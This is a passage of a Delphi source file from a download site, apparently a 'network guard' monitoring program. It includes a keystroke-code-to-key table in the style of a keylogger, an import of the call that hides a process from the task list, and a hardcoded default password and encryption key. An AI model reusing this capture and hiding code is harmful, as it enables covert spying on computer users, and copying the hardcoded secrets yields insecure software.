⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.~pas

📁 一个检测网络信息的程序.
💻 ~PAS
📖 第 1 页 / 共 4 页
字号:
unit main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, SUIForm, Menus, SUIMainMenu, SUITabControl, registry,
  SUIPageControl, ComCtrls, SUIListView, StdCtrls, TFlatPanelUnit,
  SUIButton, AAFont, AACtrls,  TLHelp32, TFlatEditUnit, Buttons,StrUtils,
  SUITrackBar, TFlatGroupBoxUnit, TFlatCheckBoxUnit, SUISideChannel,
  SUIMemo, SUIImagePanel, SUIGroupBox, SUIEdit, SUIListBox, yupack,
  SUIURLLabel, AnimationEffect, AutoUpgrader, SUIProgressBar, ScktComp,
  SnStatusBar, TFlatButtonUnit,Des;

type
   TProcessInfo = record
    ExeFile: string;
    ProcessId: DWORD;
  end;

type
  ProcessInfo = ^TProcessInfo;
  Tstart = class(TForm)
    suiForm1: TsuiForm;
    control: TsuiPageControl;
    sheet1: TsuiTabSheet;
    sheet2: TsuiTabSheet;
    sheet4: TsuiTabSheet;
    Listbox1: TListBox;
    Edit1: TEdit;
    ListBox2: TListBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Timer1: TTimer;
    suiButton1: TsuiButton;
    suiButton2: TsuiButton;
    FlatGroupBox1: TFlatGroupBox;
    suiTrackBar1: TsuiTrackBar;
    FlatCheckBox1: TFlatCheckBox;
    FlatEdit1: TFlatEdit;
    Label4: TLabel;
    Label5: TLabel;
    suiButton3: TsuiButton;
    suiButton4: TsuiButton;
    suiSideChannel1: TsuiSideChannel;
    suiMemo1: TsuiMemo;
    suiGroupBox1: TsuiGroupBox;
    suiGroupBox2: TsuiGroupBox;
    suiGroupBox3: TsuiGroupBox;
    suiMemo2: TsuiMemo;
    suiMemo3: TsuiMemo;
    suiEdit1: TsuiEdit;
    suiListBox1: TsuiListBox;
    suiButton5: TsuiButton;
    suiButton6: TsuiButton;
    suiButton7: TsuiButton;
    suiButton8: TsuiButton;
    suiCheckBox1: TsuiCheckBox;
    Timer2: TTimer;
    suiTrackBar2: TsuiTrackBar;
    yu: TYuSoftLabel;
    YuSoftLabel2: TYuSoftLabel;
    YuSoftLabel3: TYuSoftLabel;
    dh: TAnimationEffect;
    Sheet3: TsuiTabSheet;
    suiGroupBox4: TsuiGroupBox;
    suiGroupBox5: TsuiGroupBox;
    suiGroupBox6: TsuiGroupBox;
    dh1: TsuiCheckBox;
    dh2: TsuiCheckBox;
    dh3: TsuiCheckBox;
    suiTrackBar3: TsuiTrackBar;
    suiCheckBox2: TsuiCheckBox;
    AutoUpgrader: TAutoUpgrader;
    Label6: TLabel;
    suiButton9: TsuiButton;
    suiProgressBar1: TsuiProgressBar;
    suiURLLabel1: TsuiURLLabel;
    suiURLLabel2: TsuiURLLabel;
    suiURLLabel3: TsuiURLLabel;
    suiCheckBox3: TsuiCheckBox;
    Label7: TLabel;
    suiCheckBox4: TsuiCheckBox;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    suiGroupBox7: TsuiGroupBox;
    Label11: TLabel;
    Label12: TLabel;
    suiEdit2: TsuiEdit;
    suiEdit3: TsuiEdit;
    ClientSocket1: TClientSocket;
    SnStatusBar1: TSnStatusBar;
    Memo1: TMemo;
    suiGroupBox8: TsuiGroupBox;
    suiCheckBox5: TsuiCheckBox;
    suiCheckBox6: TsuiCheckBox;
    suiCheckBox7: TsuiCheckBox;
    suiButton10: TsuiButton;
    suiButton11: TsuiButton;
    suiButton12: TsuiButton;
    suiMemo4: TsuiMemo;
    suiCheckBox8: TsuiCheckBox;
    suiGroupBox9: TsuiGroupBox;
    suiEdit4: TsuiEdit;
    FlatButton1: TFlatButton;
    suiButton13: TsuiButton;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure suiButton1Click(Sender: TObject);
    procedure FlatCheckBox1Click(Sender: TObject);
    procedure suiTrackBar1Change(Sender: TObject);
    procedure suiButton3Click(Sender: TObject);
    procedure suiButton2Click(Sender: TObject);
    procedure suiButton4Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure suiCheckBox1Click(Sender: TObject);
    procedure suiTrackBar2Change(Sender: TObject);
    procedure suiButton5Click(Sender: TObject);
    procedure suiButton6Click(Sender: TObject);
    procedure suiButton7Click(Sender: TObject);
    procedure suiButton8Click(Sender: TObject);
    procedure dh1Click(Sender: TObject);
    procedure dh2Click(Sender: TObject);
    procedure dh3Click(Sender: TObject);
    procedure AutoUpgraderError(Sender: TObject);
    procedure AutoUpgraderNoUpdateAvailable(Sender: TObject);
    procedure AutoUpgraderDone(Sender: TObject; FileSize: Integer);
    procedure AutoUpgraderUpgrade(Sender: TObject; UsersServed: Integer;
      var ShowMessageBox, CanUpgrade: Boolean);
    procedure AutoUpgraderProgress(Sender: TObject; TotalSize, ReadSize,
      ReadPercents: Integer);
    procedure suiButton9Click(Sender: TObject);
    procedure suiCheckBox3Click(Sender: TObject);
    procedure suiCheckBox2Click(Sender: TObject);
    procedure suiTrackBar3Change(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Connecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure suiCheckBox5Click(Sender: TObject);
    procedure suiCheckBox6Click(Sender: TObject);
    procedure suiCheckBox7Click(Sender: TObject);
    procedure suiButton10Click(Sender: TObject);
    procedure suiButton11Click(Sender: TObject);
    procedure suiButton12Click(Sender: TObject);
    procedure suiMemo2DblClick(Sender: TObject);
    procedure suiMemo3DblClick(Sender: TObject);
    procedure suiCheckBox8Click(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
    procedure controlTabActive(Sender: TObject; TabIndex: Integer);
    procedure suiButton13Click(Sender: TObject);
    procedure controlMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure suiGroupBox8MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure suiForm1TitleBarCustomBtnsClick(Sender: TObject;
      ButtonIndex: Integer);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private
    function Keyhookresult(lP: integer; wP: integer): pchar;
    procedure ProcessList(var pList: TList);
    procedure My_RunFileScan(ListboxRunFile: TListBox);
    procedure myENumChildWindows(hand: HWND);
    { Private declarations }
  public
    Current: TList;
    { Public declarations   exit}
  end;
{
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
 }
 {
Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;

      Function GetOSVersion : Integer;
      Function GetOSName( OSCode : Integer ) : String;
 }

var
  start: Tstart;
  hookkey: string;
  hooktimes: word;
  hHook: integer;
  Reg: TRegistry ;
  rightpassword:boolean;
  cancloseme:boolean;
implementation

function RegisterServiceProcess(dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';

{$R *.dfm}

{
Function GetOSVersion : Integer;
  Var
      osVerInfo          : TOSVersionInfo;
      majorVer, minorVer : Integer;
  Begin
      Result := cOsUnknown;
      osVerInfo.dwOSVersionInfoSize := SizeOf( TOSVersionInfo );
      If ( GetVersionEx( osVerInfo ) ) Then Begin
          majorVer := osVerInfo.dwMajorVersion;
          minorVer := osVerInfo.dwMinorVersion;
          Case ( osVerInfo.dwPlatformId ) Of
              VER_PLATFORM_WIN32_NT : // Windows NT/2000
                  Begin
                      If ( majorVer <= 4 ) Then
                          Result := cOsWinNT
                      Else
                          If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
                              Result := cOsWin2000
                          Else
                              If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
                                  Result := cOsWhistler
                              Else
                                  Result := cOsUnknown;
                  End;
              VER_PLATFORM_WIN32_WINDOWS :   // Windows 9x/ME
                  Begin
                      If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
                          Result := cOsWin95
                      Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
                          If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
                              Result := cOsWin98SE
                          Else
                              Result := cOsWin98;
                      End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
                          Result := cOsWinME
                      Else
                          Result := cOsUnknown;
                  End;
          Else
              Result := cOsUnknown;
          End;
      End Else
          Result := cOsUnknown;
  End;

  Function GetOSName( OSCode : Integer ) : String;
  Begin
      If ( OSCode = cOsUnknown ) Then
          Result := '(sconosciuto)'
      Else If ( OSCode = cOsWin95 ) Then
          Result := 'Microsoft Windows 95'
      Else If ( OSCode = cOsWin98 ) Then
          Result := 'Microsoft Windows 98'
      Else If ( OSCode = cOsWin98SE ) Then
          Result := 'Microsoft Windows 98 Second Edition'
      Else If ( OSCode = cOsWinME ) Then
          Result := 'Microsoft Windows Millennium Edition'
      Else If ( OSCode = cOsWinNT ) Then
          Result := 'Microsoft Windows New Technology'
      Else If ( OSCode = cOsWin2000 ) Then
          Result := 'Microsoft Windows 2000 / NT 5'
      Else
          Result := 'Microsoft Windows';
  End;
}

procedure checkpassword;
var
   InputString: string;
begin
   reg:=tregistry.Create ;
   reg.RootKey :=HKEY_CURRENT_USER;
   if not rightpassword then
      if reg.OpenKey('\Software\netguard\password',true) then
      begin
         if reg.ValueExists('superword') then
         begin
            InputString:= InputBox('用户密码验证', '  请输入用户密码进行验证:(第一次使用请输入默认密码)', '');
            if reg.ReadString('superword')=EncryStrhex(Inputstring,'cd37ycs19750323') then
            begin
               showmessage('用户密码输入正确!');
               rightpassword := true;
            end
            else
            begin
               showmessage('用户密码输入错误!');
               rightpassword := false;
            end;
         end
         else
         begin
            InputString:= InputBox('用户密码验证', '  请输入旧密码:(第一次使用请输入默认密码)', '');
            if EncryStrhex(Inputstring,'cd37ycs19750323')= EncryStrhex('19755791','cd37ycs19750323') then
            begin
               showmessage('默认密码正确!');
               rightpassword := true;
            end
            else
            begin
               showmessage('默认密码输入错误!');
               rightpassword := false;
            end;
         end;
      end;
      reg.CloseKey ;
      reg.Free ;
end;


function Tstart.Keyhookresult(lP: integer; wP: integer): pchar;
begin
  result := '[Print Screen]';
{ VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }
{ VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A) }
  case lp of
    14354: result := '[Alt]'; //不能识别
    10688: result := '`';
    561: Result := '1';
    818: result := '2';
    1075: result := '3';
    1332: result := '4';
    1589: result := '5';
    1846: result := '6';
    2103: result := '7';
    2360: result := '8';
    2617: result := '9';
    2864: result := '0';
    3261: result := '-';
    3515: result := '=';
    4177: result := 'Q';
    4439: result := 'W';
    4677: result := 'E';
    4946: result := 'R';
    5204: result := 'T';
    5465: result := 'Y';
    5717: result := 'U';
    5961: result := 'I';
    6223: result := 'O';
    6480: result := 'P';
    6875: result := '[';
    7133: result := ']';
    11228: result := '\';
    7745: result := 'A';
    8019: result := 'S';
    8260: result := 'D';
    8518: result := 'F';
    8775: result := 'G';
    9032: result := 'H';
    9290: result := 'J';
    9547: result := 'K';
    9804: result := 'L';
    10170: result := ';';
    10462: result := '''';
    11354: result := 'Z';
    11608: result := 'X';
    11843: result := 'C';
    12118: result := 'V';
    12354: result := 'B';
    12622: result := 'N';
    12877: result := 'M';
    13244: result := ',';
    13502: result := '.';
    13759: result := '/';
    13840: result := '[Right-Shift]';
    14624: result := '[Space]';
    283: result := '[Esc]';
    15216: result := '[F1]';
    15473: result := '[F2]';
    15730: result := '[F3]';
    15987: result := '[F4]';
    16244: result := '[F5]';
    16501: result := '[F6]';
    16758: result := '[F7]';
    17015: result := '[F8]';
    17272: result := '[F9]';
    17529: result := '[F10]';
    22394: result := '[F11]';
    22651: result := '[F12]';
    10768: Result := '[Left-Shift]';
    14868: result := '[CapsLock]';
    3592: result := '[Backspace]';
    3849: result := '[Tab]';
    7441:
      if wp > 30000 then
        result := '[Right-Ctrl]'
      else
        result := '[Left-Ctrl]';
    13679: result := '[Num /]';
    17808: result := '[NumLock]';
    300: result := '[Print Screen]';
    18065: result := '[Scroll Lock]';
    17683: result := '[Pause]';
    21088: result := '[Num0]';
    21358: result := '[Num.]';
    20321: result := '[Num1]';
    20578: result := '[Num2]';
    20835: result := '[Num3]';
    19300: result := '[Num4]';
    19557: result := '[Num5]';
    19814: result := '[Num6]';
    18279: result := '[Num7]';
    18536: result := '[Num8]';
    18793: result := '[Num9]';
    19468: result := '[*5*]';
    14186: result := '[Num *]';
    19053: result := '[Num -]';
    20075: result := '[Num +]';
    21037: result := '[Insert]';
    21294: result := '[Delete]';
    18212: result := '[Home]';
    20259: result := '[End]';
    18721: result := '[PageUp]';
    20770: result := '[PageDown]';
    18470: result := '[UP]';
    20520: result := '[DOWN]';
    19237: result := '[LEFT]';
    19751: result := '[RIGHT]';
    7181: result := '[Enter]';

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -